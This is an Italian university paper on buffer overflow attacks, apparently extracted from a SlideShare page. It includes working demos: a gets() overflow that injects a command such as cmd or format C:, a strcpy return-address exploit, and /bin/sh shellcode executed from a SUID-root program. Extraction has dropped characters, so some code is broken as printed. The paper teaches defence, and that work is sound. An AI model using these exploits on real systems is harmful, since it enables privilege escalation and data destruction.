Attacchi alle applicazioni basati su buffer overflow
Upcoming SlideShare
Loading in...5
×
 

Attacchi alle applicazioni basati su buffer overflow

on

  • 987 views

 

Statistics

Views

Total Views
987
Views on SlideShare
908
Embed Views
79

Actions

Likes
0
Downloads
11
Comments
0

3 Embeds 79

http://giacomofazio.net 76
http://www.linkedin.com 2
https://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Attacchi alle applicazioni basati su buffer overflow Attacchi alle applicazioni basati su buffer overflow Document Transcript

  • Università di Catania - Corso di laurea in Ingegneria Informatica Sicurezza nei Sistemi Informativi A.A. 2005/2006Attacchi alle applicazioni basati su Buffer Overflow Fazio Giacomo Antonino
  • 1. IntroduzioneIl buffer overflow (spesso abbreviato in BOF) è una delle tecniche più avanzate di hacking delsoftware. Tutto nasce da un difetto che può caratterizzare un determinato software e, se utilizzato adovere, può agevolare laccesso a qualsiasi sistema che utilizza il software in questione. Spesso,infatti, si sente parlare di “exploit”, ossia metodi ad hoc che utilizzano le vulnerabilità scoperte inquesto o in quel software e che permettono all’utilizzatore di acquisire privilegi che non gli spettano(ad esempio i tanto agognati privilegi di root) o di portare al “denial of service” del computerattaccato. Molti di questi exploit utilizzano per i loro scopi buffer overflow.Questo tipo di debolezza dei programmi è noto da molto tempo, ma solo di recente la suaconoscenza si è diffusa tanto da permettere anche a dei cracker dilettanti di sfruttarla per bloccare oprendere il controllo di altri computer collegati in rete.In poche parole, il buffer overflow consiste nel fornire al programma più dati di quanto esso siaspetti di ricevere, facendo in modo che una parte di questi dati vadano scritti in zone di memoriadove ci sono, o dovrebbero esserci, altri dati (da ciò il nome, che letteralmente significa “Traboccodell’area di memoria”).Ad esempio, un programma definisce due variabili: una stringa A di 8 byte e un intero B di 2 byte.A è inizializzata con soli caratteri ‘0’ (ognuno dei quali occupa 1 byte, dunque sono 8 caratteri),mentre B contiene il numero 3.A A A A A A A A B B0 0 0 0 0 0 0 0 0 3Adesso supponiamo che sia previsto un inserimento della stringa A da parte dell’utente, ma che nonsi effettui un controllo sulla lunghezza dell’input inserito. In questo caso, i problemi si hanno se siprova ad inserire una stringa più lunga di 8 caratteri, che è lo spazio riservato nel buffer. Se adesempio inseriamo la stringa “excessive”, essa occuperà 9 caratteri più il carattere di fine stringa,quindi la porzione di memoria successiva, che era occupata da B, verrà irrimediabilmentesovrascritta. La situazione sarà la seguente:A A A A A A A A B Be x c e s s i v e 0A questo punto, se si prova a leggere l’intero che ci dovrebbe essere in B, un sistema big-endian cheutilizza l’ASCII, leggerà ‘e’ seguita dallo ‘0’ come 25856. Se invece provassimo a scrivere unastringa ancora più lunga, essa invaderebbe anche l’area di memoria che si trova dopo di B, causandoun errore di segmentation fault con la seguente terminazione forzata del processo.Tutto questo capita tipicamente nei sistemi operativi o nei programmi scritti nei linguaggi Assemblyo C, usando funzioni di libreria di input/output che non fanno controlli sulle dimensioni dei datitrasferiti.Questo semplice esempio ci aiuta a capire di cosa è capace un buffer overflow: a seconda di cosa èstato sovrascritto e con quali valori, il programma può dare risultati errati o imprevedibili, bloccarsi,o (se è un driver di sistema o lo stesso sistema operativo) bloccare il computer.Non tutti i programmi sono vulnerabili a questo tipo di inconveniente, perché un dato programmasia a rischio è necessario che: 1. il programma preveda linput di dati di lunghezza variabile e non nota a priori; 2
  • 2. che li immagazzini entro buffer allocati nel suo spazio di memoria dati vicini ad altre strutture dati vitali per il programma stesso; 3. che il programmatore non abbia implementato alcun mezzo di controllo della correttezza dellinput in corso.La prima condizione è facilmente verificabile dalle specifiche del programma; le altre due invecesono interne ad esso e riguardano la sua completezza in senso teorico.2. Tipi di buffer overflowEsistono diversi modi per portare avanti un buffer overflow. I più importanti sono:2.1 Arithmetic OverflowQuesto tipo di overflow è ottenuto quando il risultato prodotto da un calcolo è più grande dellespazio che dovrebbe contenerlo. Possiamo spiegarlo facilmente mediante un esempio. Avviamo lacalcolatrice di Windows scegliendo la modalità scientifica dal menu, scriviamo ‘-1’ e premiamo su‘Hex’. Vedremo così il valore esadecimale di -1, che è ‘FFFFFFFFFFFFFFFF’. Il problema nascepremendo ‘Dec’: ci aspetteremmo di rivedere il nostro ‘-1’, ma invece otteniamo il valore‘18446744073709551615’ e ciò è dovuto al fatto che la calcolatrice ha cambiato il valore da“signed” a “unsigned”. Questo esempio serve a dimostrare che anche i programmatori potrebberocompiere lo stesso errore, trasformando un numero negativo in un numero elevatissimo chepotrebbe creare un buffer overflow.2.2 Buffer Overflow basati sulla memoriaSi tratta degli attacchi di buffer overflow più noti e dannosi e generalmente vengono distinti in baseall’area di memoria che vanno a interessare, in quanto sono possibili buffer overflow su tutte le areedi memoria su cui è possibile scrivere. Spesso è sufficiente un solo byte che vada al di là dellospazio assegnato, per rendere possibile un exploit. Quelli più diffusi sono i buffer overflow “diheap” e “di stack”, dato che si tratta delle aree di memoria più colpite. Di essi si parleràdiffusamente in seguito, non prima di aver fatto un rapido excursus sulla struttura della memoria esul comportamento del processore in occasione dell’esecuzione di un programma, argomentisicuramente propedeutici alla comprensione dei buffer overflow.3. Struttura della memoria e comportamento delprocessore durante l’esecuzione di un programmaQuando eseguiamo un programma, esso verrà caricato in memoria in maniera ben strutturatacreando diverse zone: 1. .TEXT, che contiene il codice del programma in esecuzione ed è di sola lettura, infatti se si tentasse di scriverci sopra si incorrerebbe in un errore di Segmentation Fault; 2. zona dati, che contiene le variabili globali, sia inizializzate (contenute in una regione detta .DATA) che non inizializzate (contenute in una regione detta .BSS); 3. HEAP, generalmente posto dopo la zona dati, in cui vengono memorizzate le variabili allocate dinamicamente; 4. STACK, che contiene le variabili locali, gli argomenti delle funzioni, le informazioni di stato del chiamante (ad esempio il contenuto di alcuni registri della CPU), l’indirizzo di ritorno necessario per poter ritornare dalla funzione corrente e altre informazioni.Naturalmente questi spazi non sono illimitati, bensì hanno una determinata lunghezza, dunqueanche le variabili che vi verranno allocate dovranno rispettare tale lunghezza. In particolare, come si 3
  • può vedere dalla seguente figura esemplificativa, lo heap e lo stack crescono in maniera diversa: ilprimo cresce verso l’alto, il secondo verso il basso.Si tenga presente che stiamo prendendo in considerazione l’architettura Intel e che lo stack ha unadirezione che può variare a seconda del sistema operativo utilizzato, ma ciò non influenza lacomprensione degli argomenti trattati.Per quanto riguarda lo stack, qualcosa in più merita di essere specificata: esso è organizzato a pila,nel senso che l’ultimo dato inserito è il primo ad essere letto (LIFO, Last In Last Out); in Assemblyesistono dei comandi (push e pop) che permettono rispettivamente di inserire e di prelevare valori incima allo stack. Man mano che i dati vengono scritti nello stack, esso cresce verso il basso, quindiva da indirizzi di memoria alti ad indirizzi di memoria bassi. Se si cerca di effettuare una operazionedi pop prima dell’inizio dello stack si ha un “buffer underflow”, se invece si effettuareun’operazione di push al di là dello stack si incorre in un “buffer overflow”.Anche il processore è interessato dall’esecuzione del programma, in particolare lo sono alcuni suoiregistri, strettamente legati alla situazione della memoria durante l’esecuzione: EBP, che è il puntatore alla base dello stack e, nel caso stiamo eseguendo una funzione, punta alla base della porzione di stack utilizzata da essa; ESP, tramite il quale possiamo scorrere tutto lo stack per inserire o prelevare dati da un punto ben preciso di esso; EIP, che punta alla prossima istruzione che la CPU dovrà eseguire dopo quella corrente.Per comprendere a fondo come questi registri e la memoria siano interessati dall’esecuzione delprogramma, osserviamone uno molto semplice, che chiamiamo example.c#include <stdio.h>void example(int, int, int);main() { example(0,1,2);}void example(int a, int b, int c) { int i=4; char[] buffer="hello";} 4
  • Il programma chiama la funzione example passandogli gli interi 0,1 e 2. La funzione si occupa dicreare e assegnare la variabile i e la stringa buffer.Compiliamo il programma con uno dei numerosi compilatori C che si trovano in rete (io ho usatoDev C++) e poi disassembliamo l’eseguibile ottenuto example.exe con un disassembler, peresempio Disasm di Sang Cho. Chiaramente il codice macchina ottenuto è molto più lungo delcodice C e sono presenti un gran numero di istruzioni dal significato molto poco intuitivo, ma non èdifficile individuare quelle che ci interessano::0040121E 6A02 push 002:00401220 6A01 push 001:00401222 6A00 push 000:00401224 E80B000000 call 00401234:00401229 83C410 add esp, 010:0040122C C9 leave:0040122D C3 ret:0040122E 68 65 6C 6C 6F 00 ;;n "hello"=========:00401234 55 push ebp:00401235 89E5 mov ebp, esp:00401237 83EC28 sub esp, 028:0040123A C745FC04000000 mov dword[ebp-04], 00000004:00401241 8D45E0 lea eax, dword[ebp-20]:00401244 8B152E124000 mov edx, dword[0040122E](StringData)"hello":0040124A 8955E0 mov dword[ebp-20], edx:0040124D 0FB70532124000 movzx eax, word[00401232]:00401254 668945E4 mov word[ebp-1C], ax:00401258 C9 leave:00401259 C3 retLe prime tre istruzioni sono tre operazioni di push, che inseriscono i valori 2, 1 e 0 nello stack (sonoi tre parametri della funzione example, inseriti sullo stack in ordine inverso), successivamente si hauna CALL, utilizzata per chiamare la funzione example, infatti si salta all’indirizzo 00401234. Danotare che, ogni qualvolta bisogna fare una CALL, quindi anche in questo caso, il processore salvail valore attuale di EIP nello stack e poi lo modifica per effettuare un salto incondizionato allafunzione, in modo da poterlo ripristinare al termine della funzione, per poter riprendere l’esecuzionedall’istruzione successiva alla chiamata.Siamo all’interno della funzione: per prima cosa EBP viene salvato sullo stack, in EBP vienememorizzato il valore di ESP (cioè l’inizio dello stack per la funzione) e viene sottratto a ESP lospazio necessario per le variabili con una operazione di SUB. Le istruzioni successive riguardanol’allocazione e l’assegnazione delle variabili i e buff, inserite nello stack seguendo come sempre lamodalità LIFO. Lo stack, quindi, in questo momento si presenta pressappoco così: 5
  • Alla fine, mediante l’istruzione LEAVE, i registri EBP e ESP riacquisiscono i valori che avevanoprima di chiamare la CALL e, mediante l’istruzione RET, si ritorna alla funzione principaleutilizzando l’indirizzo di ritorno presente nello stack.4. Buffer Overflow di StackCome abbiamo detto precedentemente, il BOF si ha quando le variabili non rispettano lo spazio aloro assegnato e vanno a scrivere anche lo spazio al di là di esso, sovrascrivendo i datiprecedentemente contenuti. In particolare questo tipo di BOF è quello in assoluto più diffuso einteressa lo stack. Ne esistono diverse varianti, è possibile comunque trovare in tutte dellesimilitudini, che riguardano in primis lo scopo finale, che è sempre quello di sovvertire la funzionedel programma per direzionarlo secondo i propri scopi. Se il programma è sufficientementeprivilegiato (ad esempio di tipo SUID), è possibile ottenere il controllo dell’host, generalmenteattivando una shell locale, mediante la quale, con i privilegi di root, è praticamente possibileeffettuare qualsiasi cosa. Per ottenere un BOF, sono necessari due passi principali: 1) Fare in modo che il codice che ci interessa sia nell’address space del programma 2) Fare in modo che il programma salti ad esso e lo esegua.Questi due passi sono comunque in stretta correlazione, dato che se inseriamo il codice senzaeseguirlo non abbiamo concluso nulla.4.1 Fare in modo che il codice sia nell’address space del programmaPer effettuare l’inserimento del codice, ci sono due modi: 1) Inserirlo manualmente (Code injection): il programma chiede in input una stringa, che verrà inserita dall’attaccante in modo da contenere istruzioni per la CPU. Questa stringa verrà inserita in un determinato buffer, senza necessità di effettuare l’overflow. In poche parole, abbiamo salvato il codice di attacco in un buffer; 2) Il codice si trova già lì: il codice che ci serve è già presente, bisogna solo parametrizzarlo a dovere. Ad esempio, se si ha in UNIX il codice exec(arg) con arg puntatore ad una stringa, basta fare in modo che arg punti a /bin/sh per avere una shell in locale.4.2 Fare in modo che il programma salti al codice di attacco e lo eseguaPer ottenere ciò ci sono diversi modi, ma lo scopo di base è quello di effettuare l’overflow di unbuffer che non ha controlli sui confini (o se ci sono, sono molto deboli), in modo da corrompereun’area adiacente. I principali tipi sono: Activation Records: si tratta della tipologia più diffusa, nota in genere con la frase “Smashing the stack”. Si utilizza all’interno di una funzione e consiste nell’effettuare l’overflow di un buffer, con lo scopo di arrivare a sovrascrivere l’EIP, cioè l’indirizzo di ritorno della funzione. Se esso fosse sovrascritto per sbaglio, o con codice a caso, si avrebbe semplicemente un errore di Segmentation Fault, ma se invece esso è sovrascritto con un indirizzo realmente esistente, il risultato è che si salta alla locazione da esso indicato e si esegue il codice lì presente. Pensiamo a cosa succede se questo indirizzo indica la locazione del codice di attacco… Puntatori a funzioni: bisogna trovare un buffer vicino ad un puntatore a funzione. Effettuando l’overflow del buffer, viene corrotto anche il puntatore e si fa in modo che esso punti alla locazione del codice di attacco. Questo tipo di BOF può riguardare non solo lo stack, ma anche lo heap e le altre aree della memoria su cui è possibile scrivere. Longjmp buffers: sfrutta un meccanismo presente in C che consente di salvare lo stato (checkpoint) di un buffer mediante il comando setjmp(buffer) e di ripristinarlo in seguito (rollback) in caso di bisogno mediante il comando longjmp(buffer). Come per i puntatori a funzioni, se abbiamo un buffer adiacente di cui è possibile effettuare l’overflow, potremmo 6
  • corrompere anche lo stato del buffer di checkpoint in modo che, non appena viene chiamato il comando longjmp, si salta alla locazione del codice di attacco.4.3 Combinare i due passi precedentiCome abbiamo detto precedentemente, i due passi precedenti sono collegati tra loro, quindi vannoutilizzati insieme.Spesso l’inserimento del codice di attacco e la sua esecuzione sono effettuati in una volta sola: bastatrovare un buffer di cui sia possibile fare l’overflow e che si trovi in prossimità dell’EIP, inserireuna stringa opportuna contenente il codice di attacco che effettui l’overflow del buffer e modifichil’EIP. In questo modo abbiamo fatto sia la code injection che l’activation record.Comunque non per forza le due fasi devono avvenire simultaneamente. È possibile ad esempio cheil buffer del caso precedente non abbia lo spazio necessario per contenere tutto il codice di attacco,dunque è necessario fare la code injection in un altro buffer di dimensione sufficiente esuccessivamente utilizzare il buffer vicino l’EIP solo per corrompere quest’ultimo realizzandol’activation record.Se non è necessario effettuare la code injection perché il codice è già presente, bisogna, comespiegato sopra, parametrizzare il codice presente in modo da fargli eseguire ciò che si vuole e poieffettuare l’overflow del buffer vicino l’EIP per far puntare quest’ultimo al codice parametrizzato.4.4 Lo ShellcodeLo shellcode è un pezzo di codice macchina eseguito per sfruttare una vulnerabilità. Si tratta spessodi un codice che svolge un compito altamente specifico, che è verificato dal primo all’ultimo byte,perché anche un byte fuori posto potrebbe portare al crash dell’applicazione da “exploitare” o allacorruzione della memoria con il conseguente non funzionamento dell’applicazione; ciò potrebbecomportare il riavvio della macchina, che potrebbe avvenire dopo un tempo non proprio breve(soprattutto per quanto riguarda gli ambienti industriali) oppure l’amministratore potrebbe indagaresul crash dell’applicazione e scaricare di conseguenza l’upgrade che magari va a sistemare la falladella versione precedente. Questo porterebbe al completo fallimento del piano di attacco. Eccoperché lo shellcode deve sempre essere un codice preciso e valutato nei minimi dettagli.Una caratteristica importante dello shellcode è l’assoluta mancanza di portabilità tra i diversisistemi. La maggior parte degli shellcode implementati, per documentare i quali esistono centinaiadi testi in rete, sono realizzati per UNIX, in quanto le API di Windows complicano la creazione dishellcode per questo sistema operativo, anche se oggi la situazione sta cambiando rapidamente,grazie a testi specifici come “The Tao of Windows Buffer Overflow” o a shellcode come il “plugand play” shellcode.4.5 Esempi di Buffer Overflow di StackCome abbiamo detto, il BOF di stack può essere portato avanti in molti modi, vediamone un paiomolto semplici.Programma 1Si tratta di un programma C che mostra un esempio di buffer overflow che utilizza la funzionegets(), notoriamente pericolosa in quanto non controlla se la stringa immessa dall’utente è più lungadel buffer che dovrà contenerla. Proprio questo causa il buffer overflow che va a corrompere lavariabile successiva, che contiene un comando da eseguire. Quindi, inserendo in input un’appositastringa, sarà possibile eseguire praticamente qualsiasi comando. L’esempio è stato realizzato inambiente Windows, ma sarebbe la stessa cosa in Linux, in quanto cambierebbero solo gli indirizzima non la sostanza. 7
  • #include <stdio.h>void example();char *p;int i;main () { example();}void example() { char command[10]="calc"; char name[10]; printf("Inserisci un nome da dare a questo script "); gets(name); printf("Premere un tasto per eseguire il comando"); getchar(); p=&name[0]+25; for (i=30;i>=0;i--) { printf("n %p = %c",p,*p); p=p-1; } system(command);}Il programma non fa altro che chiamare la funzione example(), la quale alloca dinamicamente lavariabile command con valore calc, che rappresenta il comando che vogliamo eseguire (la semplicecalcolatrice di Windows). Successivamente viene allocata dinamicamente la variabile name, in cuivogliamo inserire un nome da dare allo script, cosa che viene fatta richiamando la funzione gets().In questo momento lo stack (solo la parte relativa alla nostra funzione) si presenta pressappoco inquesto modo:La restante parte serve per farci capire cosa sta succedendo in memoria, infatti ci mostraun’istantanea dello stack, in linea con lo schema mostrato sopra, cioè mostrando in alto gli indirizzialti e in basso quelli bassi. Essa ci sarà utile nel momento in cui effettueremo l’overflow, per capirecosa effettivamente è accaduto in memoria. In particolare, in questa sezione utilizziamo le duevariabili i e p, dichiarate come globali affinché si trovino fuori dallo stack della funzione example(). 8
  • Alla fine verrà lanciato sul sistema il comando command, che normalmente è la calcolatrice.Se compiliamo il programma con un compilatore C e lo mandiamo in esecuzione, ci verrà subitochiesto di dare un nome allo script. Inseriamo inizialmente la scritta hello, che rientra perfettamentenei limiti. Infatti il programma verrà eseguito perfettamente: ci verranno mostrati gli indirizzi dellamemoria e si avvierà la calcolatrice. Le due variabili si trovano entrambe nello stack. Come èpossibile vedere anche dallo screenshot successivo, l’output ci mostra lo stack, notare la variabilename (che contiene la stringa hello) che si trova in testa allo stack e sotto la variabile command (checontiene la stringa calc) ed è separata da essa.Se a questo punto proviamo a rimandare in esecuzione il programma, inserendo invece di hello lastringa xxxxxxxxxxxxxxxxxxxx, essa riempie il buffer di 10 caratteri a disposizione e poi sovrascrivequello che c’è dopo, arrivando a sovrascrivere anche la variabile command, che adesso conterrà ilvalore xxxx. Infatti, invece di avviare la calcolatrice, ci viene restituito un messaggio che ci dice chexxxx è un comando sconosciuto. Se però, invece di xxxx, in command ci fosse stato un comandorealmente esistente, esso sarebbe andato in esecuzione. Per verificare ciò, inseriamo ad esempio lastringa xxxxxxxxxxxxxxxxcmd, il risultato sarà una shell di sistema in locale. Potremmo inserireanche altri comandi, con risultati ben peggiori… In questo esempio, in particolare, possiamoinserire, invece di cmd, qualsiasi comando di lunghezza fino a 10 lettere, dato che la variabilecommand è stata dichiarata in questo modo:char command[10]="calc";Se invece fosse stata dichiarata in quest’altro modo:char command[]="calc";sarebbe stato possibile inserire comandi di massimo 4 lettere. Quindi basta poco per causare dannidi portata incalcolabile, nel primo caso il comando potrebbe anche essere format C:… 9
  • Programma 2Questo programma è realizzato in C come il primo, ma l’ho testato su un sistema Linux, inparticolare sulla distribuzione Suse Linux 10.0. Si tratta di un ottimo esempio di activation records,in quanto viene sovrascritto l’indirizzo di ritorno di una funzione con l’indirizzo di un’altrafunzione che si vuole eseguire e che dovrebbe contenere il codice di attacco. Il programmaprincipale è contenuto nel file prog1.c:#include <stdio.h>void function ();void function () { printf("Ci sei riuscito!!!!nn"); exit(0);}main (int argc, char *argv[]) { char var[10]; strcpy(var,argv[1]);}Il programma non fa altro che prendere una stringa in ingresso e inserirla all’interno della variabilevar, utilizzando la funzione strcpy(), anch’essa pericolosa perché non effettua controlli sui confinidel buffer di destinazione. La funzione function() non viene mai chiamata dal programma. Il nostroobiettivo sarà quello di causare un buffer overflow, inserendo in ingresso una stringa più lunga dei10 caratteri a disposizione e di sostituire l’indirizzo di ritorno di main() con quello della funzionefunction(), in modo che essa venga eseguita. Per fare ciò dobbiamo fare un po’ di prove. 10
  • Cominciamo ad inserire tante x, vediamo che dalla 14a in poi, il programma va in SegmentationFault. A questo punto avviamo il disassembler gdb (presente nei sistemi operativi Unix), dandoglicome programma da disassemblare il nostro prog1 (gdb prog1) e disassembliamo la funzionefunction():Vediamo che l’indirizzo di inizio della funzione function() è 0x08048438. Se in pratica riusciamo afare in modo che il 15° elemento della stringa che diamo in input a prog1 sia questo indirizzo, ilprogramma salterà alla funzione function() e avremo centrato l’obiettivo. Come fare a passarglil’indirizzo? Esso infatti è scritto in caratteri esadecimali e non ASCII. Scriviamo un piccolo exploit,contenuto nel programma exploit.c, che si occupa di convertire in ASCII e di passare al programmal’indirizzo da noi inserito in esadecimale.#include <stdio.h>main () { char buf[31],lancia[35]; int i; for (i=0; i<14; i++) { buf[i]= x; } *(long *)&buf[14]=0x08048438; strcpy(lancia,"/home/giacomo/bof/prog1 "); strcat(lancia,buf); system(lancia);}Questo programma si occupa di lanciare il comando prog1 seguito da 14 caratteri x e dall’indirizzodella funzione function(). Il risultato sarà il seguente:Ci siamo riusciti! 11
  • Diamo un ulteriore tocco stilistico al nostro exploit, eliminando il ciclo for e inserendo l’argomentodi prog1 tutto in esadecimale:#include <stdio.h>main () { char buf[31],lancia[35]; buf="x61x61x61x61x61x61x61x61x61x61" "x61x61x61x61x08x04x84x38"; strcpy(lancia,"/home/giacomo/bof/prog1 "); strcat(lancia,buf); system(lancia);}5. Buffer Overflow di HeapI BOF di Heap sono chiamati così perché interessano l’area di memoria detta Heap, che contiene levariabili allocate dinamicamente. Lo heap è diverso dallo stack, in quanto quest’area di memoriarimane allocata finchè non è esplicitamente liberata, quindi un buffer overflow può essere effettuatoed essere notato solo in seguito, quando l’area è effettivamente utilizzata. Non esiste il concetto diEIP, ma ci sono altri concetti importanti che possono essere sfruttati per ottenere buffer overflow.Questo tipo di BOF è noto ed è sfruttato da molto tempo, ma se ne parla sempre meno di quello distack, soprattutto perché è molto più difficile da sfruttare rispetto a quest’ultimo. Comunque nondeve essere sottovalutato, perché si tratta di un BOF che può essere estremamente pericoloso e peril quale esistono diverse tecniche, che possono portare a diverse conseguenze. Le tecniche più notesono le seguenti: Attacchi basati su malloc() e funzioni simili: le funzioni dei vari linguaggi di programmazione interessate a questo tipo di BOF sono chiaramente quelle utilizzate per l’allocazione dinamica delle variabili, ad esempio malloc() di C, HeapAlloc() di Windows e new() di C++. I blocchi di heap allocati da queste variabili (in figura vediamo malloc()), sono generalmente vicini e, dato che non ci sono controlli, è molto semplice inserire nello spazio di A più di 10 elementi e far sì che vadano a sovrascrivere B e volendo anche C. 12
  • La stessa cosa può accadere con l’area di memoria BSS, che è l’area che contiene i dati noninizializzati. Anche qui, infatti, quando inizializziamo questi dati, potremmo inserire più datidello spazio a disposizione, causando un overflow con conseguente sovrascrittura degli spaziadiacenti.Esistono diverse implementazioni di questo tipo di attacco, in genere fortemente architecturedependent. Ad esempio, uno dei più noti è quello che sfrutta le vulnerabilità della funzionemalloc() di Unix, che si basa sulla versione di Doug Lea. In questa implementazione, esistonoalcuni bit che possono essere “exploitati”, in particolare la macro unlink() contenuta nellafunzione free(). L’exploit può avvenire in due diverse modalità, chiamate “forwardconsolidation” e “backward consolidation”.In sostanza, qual è l’obiettivo di questo tipo di BOF? Lo scopo è quello di causare l’overflow diun buffer A in modo da scrivere sul buffer adiacente B il codice di attacco; in questo modo,quando il programma tenterà di usare i dati contenuti in B, eseguirà invece il codice di attacco.Se ad esempio in memoria è presente un valore di autenticazione, chi attacca può modificarloper diventare un utente privilegiato, oppure può cambiare alcuni flag in memoria per causare unflusso di esecuzione del programma completamente diverso da quello normale.Attacchi basati sulla sovrascrittura di puntatori: lo scopo di questi attacchi è quello dieffettuare l’overflow di un buffer adiacente ad un puntatore in modo da corromperequest’ultimo e farlo puntare a qualche altra locazione… La figura esemplifica quanto detto:Si tratta di un tipo di attacco estremamente portabile; inoltre, può interessare anche l’area dimemoria BSS.Attacchi basati su puntatori a funzioni: come nel caso dei BOF di stack, anche qui abbiamoquesta tipologia di attacco, dato che i puntatori possono trovarsi non solo nello stack, ma anchenello heap (e anche nell’area BSS). L’obiettivo è quello di effettuare l’overflow di un buffervicino ad un puntatore in modo da corrompere quest’ultimo e farlo puntare alla locazione dove èstato inserito il codice di attacco. La figura seguente esemplifica quanto detto: 13
  • Per concludere questo paragrafo, vediamo un esempio di buffer overflow di heap:#include <stdio.h>#include <stdlib.h>int main(int argc, char **argv) { int *ret; char *shellcode = (char*)malloc(64); sprintf(shellcode, "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"); *((int*)&ret+2) = (int)shellcode; return 0;}Il programma appartiene all’utente root ma è impostato il bit SUID, che consente a chiunque dieseguirlo con privilegi di root.In particolare, il programma alloca una parte di memoria nello heap e vi copia dentro lo shellcode.Subito dopo l’indirizzo di ritorno del main è sovrascritto dall’indirizzo dello shellcode, in modo chequando il main ritorna, fornisce una shell.6. Alla ricerca di buffer overflowAbbiamo visto le più comuni tipologie di buffer overflow. Bisogna comunque tenere conto del fattoche gli esempi finora visti sono scritti per puro scopo didattico, in quanto non troveremo in giroprogrammi così, pronti per essere sfruttati per accedere al sistema di turno. Chi attaccageneralmente non prova a casaccio, analizza il codice del programma (se il programma è opensource il lavoro è notevolmente semplificato) alla ricerca di vulnerabilità da sfruttare, o aspetta chesia qualcun altro a farlo; quando poi si sa che la versione x del programma y è affetta da una certavulnerabilità, allora è il momento di creare l’exploit che permetta di utilizzarla (appunto per questoè bene scaricare sempre le patch per i nostri programmi). Lo scopo di questi programmi è quindiquello di permettere la comprensione di cosa sono e come funzionano i diversi tipi di bufferoverflow, in modo da assumere in fase di programmazione un atteggiamento più responsabile e piùrivolto alla sicurezza. Inoltre sarà possibile analizzare i propri programmi alla ricerca divulnerabilità, prima che qualcuno le ricerchi al posto nostro e le sfrutti. Questa analisi può esserefatta a diversi livelli, per ognuno dei quali esistono dei tool appositi. Vediamo quali: Lexical static code analyzers: generalmente questi tool analizzano il codice confrontandolo con un set di “cattivi” modelli, ad esempio la funzione gets(). Questi tool possono essere semplici come grep o più complessi come RATS e Flawfinder. Semantic static code analyzers: questi tool si differenziano da quelli precedenti perché in più considerano anche il contesto in cui ci si trova e generalmente emettono i loro messaggi sotto forma di warning. Anche i warning dati dai compilatori possono essere considerati di questo tipo. Artificial intelligence or learning engines for static source code analysis: questi tool analizzano il codice utilizzando diversi metodi, spesso combinazioni di identificazione sia lessicale che semantica. Inoltre è presente un sistema di apprendimento che migliora via via le analisi effettuate. Un esempio è il programma Application Defense Developer. 14
  • Dynamic program tracers: si tratta di tool che analizzano il programma a runtime e, tra le altre cose, sono in grado di individuare BOF di vario tipo. Un esempio è il programma Rational Purify. Black box testing with fault injection and stress testing, a.k.a. fuzzing: il Fuzzing è una tecnica mediante la quale si prova a dare al programma molti tipi di input, diversi tra loro in struttura e dimensioni, in modo da vedere come il programma si comporta. È possibile stabilire come devono essere questi input di prova. Reverse engineering: si tratta di decompilare il codice binario in assembly o, se possibile, in un linguaggio di alto livello, in modo da studiarlo in modo più semplice. Bug-specific binary auditing: analizza il programma compilato con una tecnica euristica, cercando di trovare eventuali buffer overflow. Si può considerare come un’analisi lessicale e semantica, ma portata avanti sul codice assembly. Un esempio è Bugscan.7. Blaster: un worm costruito su un buffer overflowBlaster è un worm che si diffuse sui computer con sistema operativo Microsoft Windows XP eWindows 2000 durante il mese di agosto 2003. I primi computer infetti dal worm furono rilevatil’11 Agosto e l’infezione si diffuse con una velocità spaventosa (nonostante il worm fosse filtratoda molti ISP), fino a raggiungere il picco il 13 Agosto, con circa 120.000 macchine infettate. Ilgrafico sottostante ci dà un’idea più concreta della diffusione del worm.Ciò era dovuto al fatto che Blaster sfruttava una grossa vulnerabilità presente nei suddetti sistemioperativi per potersi replicare indisturbato e contagiare altri computer in rete. L’obiettivo finale nonera però causare la mera infezione dei computer, bensì quello di lanciare un attacco DDoS(Distributed Denial of Service, una variante del DoS in cui più macchine in modo distribuitoattaccano la stessa destinazione) contro la porta 80 del sito windowsupdate.com nel giorno 16Agosto, cosa che riuscì, ma che non creò grossi problemi a Microsoft, dato che il sito in questioneera rediretto al sito windowsupdate.microsoft.com (il vero Windows Update), quindi a Microsoftbastò disattivare temporaneamente il sito bersaglio.Quindi l’obiettivo principale era proprio quello di colpire e screditare il colosso Microsoft, infatti adun’attenta analisi del codice del virus, sono stati scoperti due messaggi in stringhe nascoste: “I justwant to say LOVE YOU SAN!!” (da cui Lovesan, il secondo nome con cui è noto Blaster) e “billy 15
  • gates why do you make this possible ? Stop making money and fix your software!!” (cioè un chiaromessaggio contro Bill Gates che rappresenta la Microsoft).Il worm, a causa anche della sua rapida diffusione, causò danni gravi a svariate aziende e il bloccodi diversi servizi in tutto il mondo, provocando danni per oltre 3 milioni di dollari.Epilogo della vicenda: il 20 Agosto fu arrestato Jeffrey Lee Parson, un 18enne di una cittadina delMinnesota (USA) che fu condannato a 18 mesi di carcere e a un cospicuo risarcimento alle aziendedanneggiate. Ma analizziamo più da vicino la struttura e il comportamento del worm.Come abbiamo detto, Blaster si sviluppa su una falla presente nei sistemi operativi Windows XP eWindows 2000; in realtà la falla è presente anche in Windows 2003 Server e Windows NT, ma ilworm non è stato progettato per riprodursi in questi sistemi. In particolare si tratta di unavulnerabilità descritta da Microsoft stessa nel Microsoft Security Bulletin MS03-026, nel qualeviene sottolineata la pericolosità del problema e viene proposta una patch da installare perrimediare. Microsoft specifica che si tratta di una falla nell’interfaccia RPC (Remote ProcedureCall) di un oggetto DCOM (Distributed Component Object Model): DCOM è una tecnologia cheabilita componenti software che non si trovano sulla stessa macchina a comunicare direttamenteutilizzando una rete; RPC è un protocollo usato da Windows (derivato da OSF RPC, ma modificatoda Microsoft) per la comunicazione e la richiesta di servizi tra le due parti di software, permettendoad un programma che gira su un certo computer di eseguire codice su un sistema remoto. Affinchéquesta comunicazione sia possibile, bisogna effettuare le richieste in un determinato modo. Ilproblema nasce quando queste richieste vengono invece effettuate in maniera errata, infatti,l’interfaccia RPC dell’oggetto DCOM sul sistema remoto non controlla opportunamente ledimensioni dei messaggi ricevuti in input. Dunque un malintenzionato potrebbe sfruttare la fallaattraverso un exploit che invia all’oggetto DCOM un messaggio non corretto e costruito in un certomodo, così si avrebbe un buffer overflow che 